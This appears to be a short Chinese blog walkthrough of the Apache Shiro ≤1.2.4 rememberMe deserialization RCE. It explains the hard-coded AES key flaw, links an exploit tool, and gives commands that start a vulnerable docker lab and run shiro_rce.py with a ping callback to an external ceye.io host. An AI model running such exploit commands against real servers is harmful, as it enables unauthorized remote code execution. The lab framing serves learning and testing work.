Apache Shiro<=1.2.4反序列化RCE漏洞

介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。


漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了shiro的编码方式,然后将恶意命令用它的编码方式进行编码并放在http头的cookie里,在shiro对提交的cookie的rememberme字段进行反序列化时,也就执行了插入的命令,最终造成了命令执行

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。


漏洞验证:

漏洞利用:

利用工具:https://github.com/sv3nbeast/ShiroScan

如果没有该镜像的话可以去在docker里面拉取环境docker pull medicean/vulapps:s_shiro_1,已经有人准备好了的

1、sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

2、python shiro_rce.py http://192.168.1.143 "ping 0wtpsg.ceye.io"

参考文章:https://www.t00ls.net/viewthread.php?tid=52744&highlight=shiro

原文地址:https://www.cnblogs.com/zpchcbd/p/11702855.html